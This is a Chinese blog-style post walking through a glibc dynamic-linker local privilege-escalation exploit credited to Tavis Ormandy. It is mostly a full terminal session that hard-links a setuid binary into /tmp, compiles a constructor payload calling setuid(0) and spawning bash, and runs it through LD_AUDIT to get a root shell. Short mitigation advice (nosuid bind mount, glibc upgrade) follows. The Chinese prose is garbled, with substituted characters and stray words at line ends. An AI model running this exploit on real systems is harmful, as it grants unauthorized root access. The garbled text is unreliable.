经我测试在RHEL5 / CentOS5 / FC13都成功了。
首先介绍下一下具体步骤中涉及到的2个频繁的出现的词语:web
taviso:做者 Tavis Ormandy 的简称,Google信息安全工程师 我的微博:http://my.opera.com/taviso/blog/ http://twitter.com/taviso安全
exploit:本身建立的目录,表意漏洞利用,能够取任何名字。bash
原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path 详见做者博客ide
$
mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target*
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted)
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
看到了吧!是否是很恐怖。如下有2种解决办法:测试
1,绑定目录ui
须要理解一下nosuid的原理:url
个人理解是:好比/etc/passwd这个文件,原本只有root有权限修改,可是用户自己也能够去修改本身的密码,这就是一种“超出它自己权限的行为”,spa
nosuid就是为了中止这种提高特权的办法。好比/tmp目录就有这样的权限,咱们就须要对它控制。
mount -o bind /tmp /tmp
mount -o remount,bind,nosuid /tmp /tmp
2,升级glibc版本(红帽官方提供的解决办法)